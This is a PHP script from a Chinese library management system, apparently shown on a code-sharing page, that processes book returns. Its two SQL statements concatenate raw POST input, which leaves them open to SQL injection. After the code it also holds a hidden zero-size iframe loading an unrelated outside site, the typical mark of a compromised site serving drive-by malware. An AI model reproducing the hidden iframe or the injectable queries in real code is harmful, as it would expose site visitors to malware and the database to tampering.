📄 hscl1.php
字号:
<?php //插入数据
include "../config.php";
?>
<?php
if(!empty($_POST["submit3"]))
{
$no=$_POST["no"];
$readername=$_POST["readername"];
$returndate=date("Y-m-d");
if(empty($no))
{ echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>"; }
if(empty($readername))
{ echo "<script language='javascript'>alert('读者姓名不能为空');history.go(-1);</script>"; }
//$sql="update bookmanagement.lendingbook set returndate=$returndate where no='".$no."'";
//$result=mysql_query($sql) or die (mysql_error());
$sql="update books set state='在馆' where no='".$no."'";
mysql_query($sql) or die (mysql_error());
//删除借书表中的资料
$sql="delete from lendingbook where no='".$no."'";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('还书操作成功!');window.location.href='hs.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -